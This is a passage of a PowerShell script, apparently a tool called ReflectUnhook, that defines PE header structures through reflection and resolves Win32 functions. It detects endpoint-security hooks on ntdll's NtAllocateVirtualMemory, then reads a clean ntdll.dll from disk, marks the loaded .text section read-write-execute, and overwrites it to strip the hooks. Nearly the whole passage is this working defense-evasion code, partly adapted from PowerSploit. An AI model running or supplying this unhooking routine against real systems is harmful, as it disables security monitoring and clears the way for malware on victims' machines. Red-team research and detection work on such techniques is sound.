[UInt16], 'Public') | Out-Null 215 | $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null 216 | $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null 217 | $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null 218 | $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null 219 | 220 | $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') 221 | $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray 222 | $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) 223 | $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) 224 | $e_resField.SetCustomAttribute($AttribBuilder) 225 | 226 | $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null 227 | $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null 228 | 229 | $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') 230 | $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray 231 | $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) 232 | $e_res2Field.SetCustomAttribute($AttribBuilder) 233 | 234 | $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null 235 | $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() 236 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER 237 | 238 | #Struct IMAGE_SECTION_HEADER 239 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 240 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) 241 | 242 | $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') 243 | $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray 244 | $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) 245 | $nameField.SetCustomAttribute($AttribBuilder) 246 | 247 | $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null 248 | $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null 249 | $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null 250 | $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null 251 | $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null 252 | $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null 253 | $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null 254 | $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null 255 | $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null 256 | $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() 257 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER 258 | 259 | return $Win32Types 260 | } 261 | 262 | Function Get-ImageNtHeaders 263 | { 264 | Param( 265 | [Parameter(Position = 0, Mandatory = $true)] 266 | [IntPtr] 267 | $PEHandle, 268 | 269 | [Parameter(Position = 1, Mandatory = $true)] 270 | [System.Object] 271 | $Win32Types 272 | ) 273 | 274 | $NtHeadersInfo = New-Object System.Object 275 | 276 | $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) 277 | 278 | #Get IMAGE_NT_HEADERS 279 | [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) 280 | $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr 281 | $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) 282 | 283 | #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. 284 | if ($imageNtHeaders64.Signature -ne 0x00004550) 285 | { 286 | throw "Invalid IMAGE_NT_HEADER signature." 287 | } 288 | 289 | if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') 290 | { 291 | $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 292 | $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true 293 | } 294 | else 295 | { 296 | $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) 297 | $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 298 | $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false 299 | } 300 | 301 | return $NtHeadersInfo 302 | } 303 | 304 | Function Write-BytesToMemory 305 | { 306 | Param( 307 | [Parameter(Position=0, Mandatory = $true)] 308 | [Byte[]] 309 | $Bytes, 310 | 311 | [Parameter(Position=1, Mandatory = $true)] 312 | [IntPtr] 313 | $MemoryAddress 314 | ) 315 | 316 | for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) 317 | { 318 | [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) 319 | } 320 | } 321 | 322 | Function Add-SignedIntAsUnsigned 323 | { 324 | Param( 325 | [Parameter(Position = 0, Mandatory = $true)] 326 | [Int64] 327 | $Value1, 328 | 329 | [Parameter(Position = 1, Mandatory = $true)] 330 | [Int64] 331 | $Value2 332 | ) 333 | 334 | [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) 335 | [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) 336 | [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) 337 | 338 | if ($Value1Bytes.Count -eq $Value2Bytes.Count) 339 | { 340 | $CarryOver = 0 341 | for ($i = 0; $i -lt $Value1Bytes.Count; $i++) 342 | { 343 | [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver 344 | 345 | $FinalBytes[$i] = $Sum -band 0x00FF 346 | 347 | if (($Sum -band 0xFF00) -eq 0x100) 348 | { 349 | $CarryOver = 1 350 | } 351 | else 352 | { 353 | $CarryOver = 0 354 | } 355 | } 356 | } 357 | else 358 | { 359 | Throw "Cannot add bytearrays of different sizes" 360 | } 361 | 362 | return [BitConverter]::ToInt64($FinalBytes, 0) 363 | } 364 | 365 | #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ 366 | Function Get-DelegateType 367 | { 368 | Param 369 | ( 370 | [OutputType([Type])] 371 | 372 | [Parameter( Position = 0)] 373 | [Type[]] 374 | $Parameters = (New-Object Type[](0)), 375 | 376 | [Parameter( Position = 1 )] 377 | [Type] 378 | $ReturnType = [Void] 379 | ) 380 | 381 | $Domain = [AppDomain]::CurrentDomain 382 | $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') 383 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) 384 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) 385 | $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 386 | $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) 387 | $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') 388 | $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) 389 | $MethodBuilder.SetImplementationFlags('Runtime, Managed') 390 | 391 | Write-Output $TypeBuilder.CreateType() 392 | } 393 | 394 | #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ 395 | Function Get-ProcAddress 396 | { 397 | Param 398 | ( 399 | [OutputType([IntPtr])] 400 | 401 | [Parameter( Position = 0, Mandatory = $True )] 402 | [String] 403 | $Module, 404 | 405 | [Parameter( Position = 1, Mandatory = $True )] 406 | [String] 407 | $Procedure 408 | ) 409 | 410 | $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | 411 | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } 412 | $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') 413 | $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') 414 | $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress',[Type[]]@([System.Runtime.InteropServices.HandleRef], [String])) 415 | $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) 416 | $tmpPtr = New-Object IntPtr 417 | $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) 418 | Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) 419 | } 420 | 421 | #PEInfo must contain the following NoteProperties: 422 | # PEHandle: An IntPtr to the address the PE is loaded to in memory 423 | Function Get-PEDetailedInfo 424 | { 425 | Param( 426 | [Parameter( Position = 0, Mandatory = $true)] 427 | [IntPtr] 428 | $PEHandle, 429 | 430 | [Parameter(Position = 1, Mandatory = $true)] 431 | [System.Object] 432 | $Win32Types 433 | ) 434 | 435 | if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) 436 | { 437 | throw 'PEHandle is null or IntPtr.Zero' 438 | } 439 | 440 | $PEInfo = New-Object System.Object 441 | 442 | $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types 443 | 444 | $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle 445 | $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) 446 | $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) 447 | $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) 448 | $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) 449 | 450 | if ($PEInfo.PE64Bit -eq $true) 451 | { 452 | [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) 453 | $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr 454 | } 455 | else 456 | { 457 | [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) 458 | $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr 459 | } 460 | 461 | return $PEInfo 462 | } 463 | 464 | Function Get-Win32Functions 465 | { 466 | 467 | # I will only need VirtualProtect for unhooking. 468 | $Win32Functions = New-Object System.Object 469 | 470 | $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect 471 | $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) 472 | $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) 473 | $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect 474 | 475 | return $Win32Functions 476 | } 477 | 478 | #Copy-Sections based function of PowerSploit (https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/CodeExecution/Invoke-ReflectivePEInjection.ps1#L1551) 479 | Function Unhooking 480 | { 481 | Param( 482 | [Parameter(Position = 0, Mandatory = $true)] 483 | [Byte[]] 484 | $PEBytes, 485 | 486 | [Parameter(Position = 1, Mandatory = $true)] 487 | [System.Object] 488 | $PEInfo, 489 | 490 | [Parameter(Position = 2, Mandatory = $true)] 491 | [System.Object] 492 | $Win32Functions, 493 | 494 | [Parameter(Position = 3, Mandatory = $true)] 495 | [System.Object] 496 | $Win32Types 497 | ) 498 | 499 | # Iterate on the sections of the PE 500 | for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) 501 | { 502 | 503 | [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) 504 | $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) 505 | 506 | #Verify if the iterated section is the .text section 507 | if (($SectionHeader.Name -join '') -eq ".text") { 508 | 509 | #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated 510 | # in memory for the section 511 | $offset = $SectionHeader.PointerToRawData 512 | Write-Verbose "[*] PointerToRawData .text: $($SectionHeader.PointerToRawData)" 513 | Write-Verbose "[*] SizeOfRawData .text: $($SectionHeader.SizeOfRawData)" 514 | Write-Verbose "[*] VirtualAddress .text: $($SectionHeader.VirtualAddress)" 515 | 516 | # Calculate the size of the .text section on disk 517 | $size = $SectionHeader.SizeOfRawData + $offset - 1 518 | 519 | # Index from the previously read ntdll bytes only what we need (.text section) 520 | $newBytes = $PEBytes[$offset..$size] 521 | 522 | # We add the base address (BaseAddres) of ntdl and the virtual address of ntdll 523 | # to obtain the offset of our .text section in memory. 524 | [IntPtr]$offsetVirtual = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionHeader.VirtualAddress) ([Int64]$PEInfo.PEHandle)) 525 | Write-Verbose "[*] Virtual .text offset: $offsetVirtual" 526 | 527 | $PAGE_EXECUTE_READWRITE = 0x40 528 | 529 | [UInt32]$OldProtectFlag = 0 530 | # We modify the permissions of our .text section to be able to overwrite in it 531 | $Success = $Win32Functions.VirtualProtect.Invoke($offsetVirtual, $newBytes.Length, $PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) 532 | if ($Success -eq $false) 533 | { 534 | Throw "[!] Unable to change memory protection" 535 | } 536 | 537 | Write-Verbose "[*] Writing clean bytes to our .text section of ntdll.dll" 538 | 539 | # We write our clean bytes over our ntdll 540 | Write-BytesToMemory -Bytes $newBytes -MemoryAddress $offsetVirtual 541 | return 542 | } 543 | 544 | } 545 | } 546 | 547 | # Function based on Write-BytesToMemory from PowerSploit 548 | Function Read-BytesToMemory 549 | { 550 | Param( 551 | [Parameter(Position=0, Mandatory = $true)] 552 | [Int] 553 | $Length, 554 | 555 | [Parameter(Position=1, Mandatory = $true)] 556 | [IntPtr] 557 | $MemoryAddress 558 | ) 559 | 560 | for ($Offset = 0; $Offset -lt $Length; $Offset++) 561 | { 562 | [System.Runtime.InteropServices.Marshal]::ReadByte([IntPtr]::Add($MemoryAddress, $Offset)) 563 | } 564 | } 565 | 566 | Function Main() 567 | { 568 | 569 | $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) 570 | if ($PtrSize -eq 4) { 571 | Throw "[!] ReflectUnhook only works for 64 bits" 572 | } 573 | 574 | Write-Verbose "PowerShell ProcessID: $PID" 575 | 576 | # We try to check for hooks 577 | $HookCheck = [Byte[]](0x4c, 0x8b, 0xd1, 0xb8) 578 | $NtAllocateVirtualMemory = Get-ProcAddress ntdll.dll NtAllocateVirtualMemory 579 | 580 | [Byte[]] $BytesFunc = Read-BytesToMemory 4 $NtAllocateVirtualMemory 581 | $hexBytes = ($BytesFunc | ForEach-Object { "0x{0:X2}" -f $_ }) -join ', ' 582 | if (![System.Linq.Enumerable]::SequenceEqual($HookCheck, $BytesFunc)) { 583 | Write-Host "[*] Hooked function found: $hexBytes" -ForegroundColor Cyan 584 | } else { 585 | Write-Host "[*] Hooked function not found: $hexBytes" -ForegroundColor Red 586 | return 587 | } 588 | 589 | # We read clean ntdll from disk 590 | [Byte[]] $PEBytes = Get-Content -Encoding byte -Raw -Path "C:\Windows\System32\ntdll.dll" 591 | Write-Verbose "[*] Reading ntdll.dll from disk" 592 | 593 | # Simple way to obtain the base address of a dll without PEB Walking 594 | $Proc = Get-Process -Id $Pid 595 | $ntdll = ($Proc.Modules | Where-Object {$_.ModuleName -eq 'ntdll.dll'}).BaseAddress 596 | Write-Verbose "[*] The base address of ntdll.dll is: $ntdll" 597 | 598 | $Types = Get-Win32Types 599 | $Win32Functions = Get-Win32Functions 600 | 601 | Write-Verbose "[*] Getting detailed PE information from the headers loaded in memory" 602 | $PEInfo = Get-PEDetailedInfo -PEHandle $ntdll -Win32Types $Types 603 | 604 | Unhooking -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Types 605 | 606 | # We check if hooks are still present. 607 | [Byte[]] $BytesFunc = Read-BytesToMemory 4 $NtAllocateVirtualMemory 608 | $hexBytes = ($BytesFunc | ForEach-Object { "0x{0:X2}" -f $_ }) -join ', ' 609 | if ([System.Linq.Enumerable]::SequenceEqual($HookCheck, $BytesFunc)) { 610 | Write-Host "[*] Successful unhooking: $hexBytes" -ForegroundColor Green 611 | } else { 612 | Write-Host "[*] Unsuccessful unhooking: $hexBytes" -ForegroundColor Red 613 | } 614 | 615 | 616 | } 617 | 618 | Main 619 | } --------------------------------------------------------------------------------